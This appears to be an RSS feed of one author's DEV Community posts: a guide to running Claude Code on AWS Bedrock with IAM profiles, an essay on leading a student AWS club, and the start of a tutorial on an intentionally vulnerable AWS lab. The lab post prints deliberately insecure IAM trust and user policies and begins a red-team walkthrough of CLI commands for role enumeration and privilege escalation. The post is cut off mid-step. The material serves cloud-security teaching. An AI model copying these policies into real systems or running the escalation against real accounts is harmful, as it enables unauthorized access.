<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Karan Vaghela</title>
    <description>The latest articles on DEV Community by Karan Vaghela (@karanvaghela).</description>
    <link>https://dev.to/karanvaghela</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3672913%2Ff130e7b2-1776-40fb-9768-87af7a2df047.jpeg</url>
      <title>DEV Community: Karan Vaghela</title>
      <link>https://dev.to/karanvaghela</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/karanvaghela"/>
    <language>en</language>
    <item>
      <title>Setting Up AWS Bedrock with Claude Code via IAM — No Hardcoded Keys, Ever</title>
      <dc:creator>Karan Vaghela</dc:creator>
      <pubDate>Fri, 29 May 2026 19:27:23 +0000</pubDate>
      <link>https://dev.to/karanvaghela/setting-up-aws-bedrock-with-claude-code-via-iam-no-hardcoded-keys-ever-1b2o</link>
      <guid>https://dev.to/karanvaghela/setting-up-aws-bedrock-with-claude-code-via-iam-no-hardcoded-keys-ever-1b2o</guid>
      <description>&lt;p&gt;&lt;em&gt;Posted by Karan Vaghela | Leader, AWS Student Builder Groups at P P Savani University | Cybersecurity &amp;amp; Cloud&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;The fastest way to get your AWS project hacked is to hardcode your credentials somewhere. An &lt;code&gt;AWS_ACCESS_KEY_ID&lt;/code&gt; sitting in a &lt;code&gt;.env&lt;/code&gt; file that accidentally gets pushed to GitHub is a classic mistake, and it happens to experienced engineers too, not just beginners.&lt;/p&gt;

&lt;p&gt;When I was setting up Claude on Amazon Bedrock for a project, I made sure the entire flow used IAM roles and profiles — zero hardcoded keys anywhere. This post walks through exactly how to do that, why it matters, and the specific gotchas I ran into along the way.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why IAM Roles Over Access Keys
&lt;/h2&gt;

&lt;p&gt;Access keys are long-lived credentials. If they leak, an attacker has persistent access until you manually rotate or revoke them. IAM roles, on the other hand, issue temporary credentials that expire automatically. They are the AWS-recommended approach for any application running on AWS infrastructure, and they are what you should be using even for local development once you understand the pattern.&lt;/p&gt;

&lt;p&gt;The security principle here is simple: credentials should be as short-lived and as scoped as possible. IAM makes this the default if you set it up right.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Setup: Claude Code CLI on Bedrock via IAM
&lt;/h2&gt;

&lt;p&gt;Here is the exact configuration I used. The goal was to run Claude Code CLI backed by Bedrock, authenticated entirely through IAM with no keys in any config file.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1: Create a Named AWS Profile
&lt;/h3&gt;

&lt;p&gt;Instead of using the default profile, create a named one so you can switch contexts cleanly.&lt;/p&gt;

&lt;p&gt;Edit &lt;code&gt;~/.aws/credentials&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[bedrock-dev]&lt;/span&gt;
&lt;span class="py"&gt;aws_access_key_id&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;YOUR_ACCESS_KEY&lt;/span&gt;
&lt;span class="py"&gt;aws_secret_access_key&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;YOUR_SECRET_KEY&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And &lt;code&gt;~/.aws/config&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[profile bedrock-dev]&lt;/span&gt;
&lt;span class="py"&gt;region&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;us-east-1&lt;/span&gt;
&lt;span class="py"&gt;output&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;json&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is still using access keys locally, but they are scoped to a named profile and never leave your machine. The key move is what happens next.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2: Scope the IAM Policy
&lt;/h3&gt;

&lt;p&gt;Create an IAM policy that grants only what Bedrock needs. Nothing more.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2012-10-17"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Statement"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"bedrock:InvokeModel"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"bedrock:InvokeModelWithResponseStream"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-*"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Attach this policy to an IAM user or role. Do not use AdministratorAccess or any wildcard resource. Least privilege is the rule.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3: Configure Claude Code to Use Bedrock
&lt;/h3&gt;

&lt;p&gt;In &lt;code&gt;~/.claude/settings.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"env"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"CLAUDE_CODE_USE_BEDROCK"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"AWS_PROFILE"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bedrock-dev"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"AWS_REGION"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"us-east-1"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_MODEL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"anthropic.claude-sonnet-4-20250514"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_SMALL_FAST_MODEL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"anthropic.claude-haiku-4-5-20251001"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three things to note here:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS_REGION must be explicit.&lt;/strong&gt; Do not assume it will be picked up from your AWS config. If this is missing, Claude Code will fail silently or fall back to a default region where your model may not be available. Always set it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS_PROFILE must match exactly.&lt;/strong&gt; The string here must match the profile name in your &lt;code&gt;~/.aws/config&lt;/code&gt; exactly, including case.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;/login&lt;/code&gt; and &lt;code&gt;/logout&lt;/code&gt; do not work in Bedrock mode.&lt;/strong&gt; These commands are only for Anthropic's direct API with an API key. In Bedrock mode, authentication is entirely handled by your AWS credentials. Do not look for them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4: Verify the Connection
&lt;/h3&gt;

&lt;p&gt;Run a quick test:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws bedrock list-foundation-models &lt;span class="nt"&gt;--profile&lt;/span&gt; bedrock-dev &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1 | &lt;span class="nb"&gt;grep &lt;/span&gt;claude
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you see Claude models listed, your IAM setup is correct and Bedrock is reachable. If you get an AccessDeniedException, check your policy. If you get an error about the region, check that your selected region actually has Bedrock available — not all regions do.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Production Pattern: No Keys at All
&lt;/h2&gt;

&lt;p&gt;If you are running this on an EC2 instance, Lambda, or any AWS compute, you should not have any access keys anywhere. Instead, attach an IAM role to the compute resource directly.&lt;/p&gt;

&lt;p&gt;For EC2:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Create an IAM role with the Bedrock policy above attached.&lt;/li&gt;
&lt;li&gt;Attach the role to your EC2 instance under Actions &amp;gt; Security &amp;gt; Modify IAM Role.&lt;/li&gt;
&lt;li&gt;Remove any &lt;code&gt;aws_access_key_id&lt;/code&gt; and &lt;code&gt;aws_secret_access_key&lt;/code&gt; from your credentials file on that machine.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The AWS SDK will automatically pick up credentials from the instance metadata service. Your application code does not change. Your &lt;code&gt;~/.aws/config&lt;/code&gt; just needs the region:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[default]&lt;/span&gt;
&lt;span class="py"&gt;region&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;us-east-1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No keys. No secrets. The role does everything.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Not to Do
&lt;/h2&gt;

&lt;p&gt;A few patterns I see people use that you should avoid:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not put credentials in your &lt;code&gt;.env&lt;/code&gt; file and add &lt;code&gt;.env&lt;/code&gt; to &lt;code&gt;.gitignore&lt;/code&gt;.&lt;/strong&gt; This is better than nothing but still risky. &lt;code&gt;.gitignore&lt;/code&gt; rules have edge cases, and if you ever run &lt;code&gt;git add -f&lt;/code&gt; or misconfigure something, those keys are in your history forever. Use IAM profiles.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not use your root account credentials for anything.&lt;/strong&gt; Ever. Create an IAM user with only the permissions you need. The root account should have MFA enabled and nothing else touching it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do not share credentials across environments.&lt;/strong&gt; Your dev IAM user and your production IAM role should be completely separate identities with separate policies. If your dev credentials leak, your production environment should be unaffected.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters Beyond Security
&lt;/h2&gt;

&lt;p&gt;There is a practical ops benefit too. When you use IAM profiles and roles properly, rotating credentials becomes a non-event. You update the IAM user's keys in one place, update your &lt;code&gt;~/.aws/credentials&lt;/code&gt;, and everything downstream picks it up. No hunting through &lt;code&gt;.env&lt;/code&gt; files across multiple projects.&lt;/p&gt;

&lt;p&gt;For a student or someone early in their career, building this habit now means you will never be the engineer who accidentally commits an API key. That matters more than it sounds.&lt;/p&gt;




&lt;h2&gt;
  
  
  Quick Reference
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Situation&lt;/th&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Local dev machine&lt;/td&gt;
&lt;td&gt;Named IAM profile in &lt;code&gt;~/.aws/credentials&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EC2 / Lambda / ECS&lt;/td&gt;
&lt;td&gt;IAM role attached to compute, no keys&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CI/CD pipeline&lt;/td&gt;
&lt;td&gt;OIDC identity provider or short-lived role assumption&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Never&lt;/td&gt;
&lt;td&gt;Hardcoded keys in code or &lt;code&gt;.env&lt;/code&gt; files&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;p&gt;Bedrock is a powerful way to run foundation models without managing your own infrastructure. Setting it up with IAM properly from the start means you get all that power without the security debt that trips up so many early projects.&lt;/p&gt;

&lt;p&gt;If you run into specific errors while setting this up, drop them in the comments. Happy to help debug.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;#aws&lt;/code&gt; &lt;code&gt;#bedrock&lt;/code&gt; &lt;code&gt;#iam&lt;/code&gt; &lt;code&gt;#security&lt;/code&gt; &lt;code&gt;#cloud&lt;/code&gt; &lt;code&gt;#beginners&lt;/code&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>claude</category>
      <category>aws</category>
      <category>bedrock</category>
    </item>
    <item>
      <title>What It’s Really Like Leading an AWS Student Builder Group</title>
      <dc:creator>Karan Vaghela</dc:creator>
      <pubDate>Thu, 28 May 2026 19:01:15 +0000</pubDate>
      <link>https://dev.to/karanvaghela/what-its-really-like-leading-an-aws-student-builder-group-j7l</link>
      <guid>https://dev.to/karanvaghela/what-its-really-like-leading-an-aws-student-builder-group-j7l</guid>
      <description>&lt;h1&gt;
  
  
  How I Built an AWS Student Builder Group from Zero — Lessons from the First-Ever Leader at My University
&lt;/h1&gt;

&lt;p&gt;*Karan Vaghela | AWS Student Builder Group Leader, P P Savani University | Cloud &amp;amp; Security *&lt;/p&gt;




&lt;p&gt;There was no playbook. No senior batch to ask. No one who had done it before at my college.&lt;/p&gt;

&lt;p&gt;When I became the first-ever AWS Student Builder Group Leader at P P Savani University in Surat, I was quite literally building the aircraft while flying it. And honestly, that's what made it one of the most valuable experiences of my life so far.&lt;/p&gt;

&lt;p&gt;This is what I learned, the real stuff, not the highlight reel.&lt;/p&gt;




&lt;h2&gt;
  
  
  Starting from Scratch Is a Feature, Not a Bug
&lt;/h2&gt;

&lt;p&gt;When AWS Student Builder Groups reached our campus, there was no existing structure, no cultural expectation, no "how things have always been done." That felt scary at first.&lt;/p&gt;

&lt;p&gt;Turns out, it's actually an advantage.&lt;/p&gt;

&lt;p&gt;We got to define what the community stood for. We decided early that we weren't going to be another seminar club where students show up, listen, and leave. We built around builders, people who want to actually touch services, break things, and learn from the mess.&lt;/p&gt;

&lt;p&gt;Our first event wasn't a grand launch. It was a small hands-on session on IAM and S3 where we gave people AWS accounts and said, "go explore, we'll help you when you get stuck." People responded to that. They didn't come for certificates, they came back because it felt real.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Structure That Actually Works
&lt;/h2&gt;

&lt;p&gt;One of the biggest early mistakes I made was trying to do everything myself. Classic. I thought being the leader meant being responsible for every output.&lt;/p&gt;

&lt;p&gt;After months of trial and error, we restructured into three focused squads:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cloud Growth&lt;/strong&gt; — responsible for outreach, new member onboarding, and growing Builder IDs. If someone new walks in, this team owns their journey from "what's AWS" to first hands-on lab.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Builder Core&lt;/strong&gt; — the technical engine. These are the members running workshops, building demos, and doing the deep dives on specific services.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deploy Ops&lt;/strong&gt; — handles the logistics: event coordination, social presence, documentation, and keeping the community actually running without chaos.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This structure mirrors how AWS Student Builder Groups are designed, and it works. People have clarity on what they own. They step up when it's their area, and they don't step on each other.&lt;/p&gt;




&lt;h2&gt;
  
  
  What I Tell Students Who Join
&lt;/h2&gt;

&lt;p&gt;I tell every new member three things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Your goal for the first month is just to break something on AWS.&lt;/strong&gt; Not to build a production system. Not to pass a certification. Break something, understand why it broke, and fix it. That's the whole curriculum.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The free tier is your lab.&lt;/strong&gt; Most of what you need to learn, EC2, S3, Lambda, IAM, RDS basics, can be done inside free-tier limits. Budget excuses don't hold.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The community is the actual resource.&lt;/strong&gt; The Builder Center, Stack Overflow, AWS re:Post, these are where the real answers live. Learn to search properly and you'll be ahead of 90% of students who just read slides.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  What Being a "First" Actually Means
&lt;/h2&gt;

&lt;p&gt;There's a weight to being the first leader of anything. You're setting precedent. The way you run things, the values you establish, the culture you normalize, all of that outlasts you.&lt;/p&gt;

&lt;p&gt;I want the next leader of our community to inherit a culture that takes learning seriously. That treats security as a first-class concern, not an afterthought. That has members who go on to build real things with cloud infrastructure, not just list "cloud knowledge" as a resume bullet.&lt;/p&gt;

&lt;p&gt;That's the goal. And we're not there yet. But the direction is right.&lt;/p&gt;




&lt;h2&gt;
  
  
  If You're About to Start Your Own Builder Group
&lt;/h2&gt;

&lt;p&gt;A few things I'd tell you before you begin:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Don't wait until you feel ready. You'll figure it out as you go.&lt;/li&gt;
&lt;li&gt;Define your niche early. "General cloud community" is hard to market. "Builders who actually deploy stuff" is a community.&lt;/li&gt;
&lt;li&gt;Hands-on always beats slides. Always.&lt;/li&gt;
&lt;li&gt;Document everything from day one. Your event reports, attendance, what worked, what flopped. These become your track record.&lt;/li&gt;
&lt;li&gt;Connect with other Student Builder Group Leaders. The global network is one of the underrated benefits of the program.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;The work is unglamorous. You'll send three follow-up messages to get one reply. You'll plan an event for 40 people and 12 will show. You'll have sessions where the WiFi dies and the demo breaks.&lt;/p&gt;

&lt;p&gt;Do it anyway. The cumulative effect of consistent, genuine community building is something you can't manufacture, and it shows up in ways you don't expect.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;I'm an AWS Student Builder Group Leader and a 3rd-year Cybersecurity student at P P Savani University, Surat. I'm also pursuing CPTS via HTB Academy and submitting original vulnerable machines to OffSec's Proving Grounds as a security researcher. Connect with me on AWS Builder Center.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;#aws-student-builder-groups&lt;/code&gt; &lt;code&gt;#aws-community&lt;/code&gt; &lt;code&gt;#aws-ambassador&lt;/code&gt; &lt;code&gt;#cloudcomputing&lt;/code&gt; &lt;code&gt;#leadership&lt;/code&gt; &lt;code&gt;#cybersecurity&lt;/code&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>leadership</category>
      <category>community</category>
      <category>ai</category>
    </item>
    <item>
      <title>Building an Intentionally Vulnerable AWS Lab to Teach Cloud Security</title>
      <dc:creator>Karan Vaghela</dc:creator>
      <pubDate>Sun, 21 Dec 2025 18:09:28 +0000</pubDate>
      <link>https://dev.to/karanvaghela/building-an-intentionally-vulnerable-aws-lab-to-teach-cloud-security-77f</link>
      <guid>https://dev.to/karanvaghela/building-an-intentionally-vulnerable-aws-lab-to-teach-cloud-security-77f</guid>
      <description>&lt;p&gt;&lt;strong&gt;Introduction&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Most cloud engineers learn AWS by building functional infrastructure deploying EC2 instances, configuring S3 buckets, setting up VPCs. They pass certification exams that test theoretical knowledge of IAM policies and security groups. But they rarely see how attackers actually exploit cloud environments.&lt;/p&gt;

&lt;p&gt;This gap is dangerous. Real-world cloud breaches don't happen because engineers forget to enable encryption. They happen because of subtle misconfigurations in IAM policies, overly permissive roles, and broken trust boundaries that look reasonable at first glance but create exploitable attack paths.&lt;/p&gt;

&lt;p&gt;Intentionally vulnerable labs solve this problem. By building AWS environments with realistic security flaws, we can teach defenders what attackers see, how privilege escalation actually works, and why certain IAM patterns are toxic. This isn't about learning to attack it's about understanding the mechanics of cloud security failures so you can prevent them.&lt;/p&gt;

&lt;p&gt;The common problem: you can read documentation about IAM wildcards being dangerous, or you can actually exploit an overly permissive policy and watch yourself gain admin access from a low-privilege starting point. One of these teaches you how to secure AWS. The other just tells you to.&lt;br&gt;
Lab Architecture Overview&lt;/p&gt;

&lt;p&gt;This lab simulates a small development environment with a web application backend. The architecture includes common AWS services with deliberately introduced weaknesses that mirror real-world misconfigurations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trust Boundaries:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;IAM user → IAM role assumption (vulnerable boundary)&lt;br&gt;
Public subnet → Private subnet (network boundary)&lt;br&gt;
EC2 instance → S3 bucket (service boundary)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attack Surface:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;IAM policies allowing unintended role assumption&lt;br&gt;
EC2 instance metadata service (IMDSv1)&lt;br&gt;
Overly permissive S3 bucket policies&lt;br&gt;
CloudTrail logs accessible to unauthorized principals&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AWS Services Used&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;IAM (Identity and Access Management)&lt;/p&gt;

&lt;p&gt;Core authentication and authorization mechanism&lt;br&gt;
Policies determine who can do what&lt;br&gt;
Most cloud breaches involve IAM misconfiguration, making it critical for security learning&lt;/p&gt;

&lt;p&gt;EC2 (Elastic Compute Cloud)&lt;/p&gt;

&lt;p&gt;Represents compute resources with attached IAM roles&lt;br&gt;
Instance metadata service is a common attack vector&lt;br&gt;
Demonstrates how compromised instances lead to credential exposure&lt;/p&gt;

&lt;p&gt;S3 (Simple Storage Service)&lt;/p&gt;

&lt;p&gt;Holds sensitive application data (simulated customer records, config files)&lt;br&gt;
Misconfigured bucket policies are among the most common cloud vulnerabilities&lt;br&gt;
Teaches object-level access controls and bucket permissions&lt;/p&gt;

&lt;p&gt;CloudTrail&lt;/p&gt;

&lt;p&gt;Logs all AWS API calls for auditing and forensics&lt;br&gt;
Essential for detection and incident response&lt;br&gt;
Demonstrates what attackers leave behind and how defenders investigate&lt;/p&gt;

&lt;p&gt;VPC (Virtual Private Cloud)&lt;/p&gt;

&lt;p&gt;Network isolation and segmentation&lt;br&gt;
Security groups and NACLs control traffic flow&lt;br&gt;
Shows relationship between network security and identity-based security&lt;/p&gt;

&lt;p&gt;Systems Manager (SSM)&lt;/p&gt;

&lt;p&gt;Parameter Store can hold secrets and configuration&lt;br&gt;
Often misconfigured to allow unauthorized access&lt;br&gt;
Demonstrates lateral movement paths through configuration services&lt;/p&gt;

&lt;p&gt;Secrets Manager (optional)&lt;/p&gt;

&lt;p&gt;Stores sensitive credentials with rotation capabilities&lt;br&gt;
When misconfigured, becomes a treasure trove for attackers&lt;br&gt;
Shows the difference between encrypted storage and access control&lt;/p&gt;

&lt;p&gt;Intentional IAM Misconfigurations&lt;br&gt;
The core vulnerability in this lab is an IAM trust policy that allows unintended role assumption. This mirrors a common real-world pattern where developers create roles for specific services but accidentally make them assumable by broader principals.&lt;br&gt;
Vulnerable IAM Role: app-role&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::123456789012:root"
      },
      "Action": "sts:AssumeRole"
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why This Is Dangerous:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Using the account root ARN (arn:aws:iam::ACCOUNT_ID:root) in a trust policy means any principal in that account can assume the role, not just the root user. This is a subtle but critical misunderstanding. Developers often think they're restricting access to the root user, but they're actually allowing all IAM users and roles in the account.&lt;br&gt;
The role's permission policy grants extensive S3 access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "s3:GetObject",
        "s3:PutObject",
        "s3:ListBucket"
      ],
      "Resource": [
        "arn:aws:s3:::app-data-prod",
        "arn:aws:s3:::app-data-prod/*"
      ]
    },
    {
      "Effect": "Allow",
      "Action": [
        "ssm:GetParameter",
        "ssm:GetParameters"
      ],
      "Resource": "arn:aws:ssm:us-east-1:123456789012:parameter/app/*"
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Additional Misconfiguration: DevUser Policy&lt;br&gt;
The DevUser is intended to have limited read-only access but has this policy attached:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "iam:ListRoles",
        "iam:GetRole",
        "sts:AssumeRole"
      ],
      "Resource": "*"
    },
    {
      "Effect": "Allow",
      "Action": [
        "ec2:DescribeInstances",
        "s3:ListAllMyBuckets"
      ],
      "Resource": "*"
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The problem: DevUser can list all roles and assume any role that trusts the account. Combined with the vulnerable trust policy on app-role, this creates a privilege escalation path.&lt;br&gt;
Attacker's Perspective (Red Team View)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;⚠️ LAB ENVIRONMENT ONLY - DO NOT USE ON PRODUCTION OR UNAUTHORIZED SYSTEMS ⚠️&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Starting Point: Compromised DevUser credentials (leaked in code repository, phished, etc.)&lt;/p&gt;

&lt;p&gt;Step 1: Enumerate IAM Roles&lt;br&gt;
bash# List all roles in the account&lt;br&gt;
aws iam list-roles --profile devuser&lt;/p&gt;
&lt;h1&gt;
  
  
  Get details about interesting roles
&lt;/h1&gt;

&lt;p&gt;aws iam get-role --role-name app-role --profile devuser&lt;br&gt;
The attacker discovers app-role and examines its trust policy. They notice the trust policy allows any principal in the account to assume it.&lt;br&gt;
Step 2: Check Current Identity&lt;br&gt;
bash# Confirm current identity&lt;br&gt;
aws sts get-caller-identity --profile devuser&lt;/p&gt;
&lt;h1&gt;
  
  
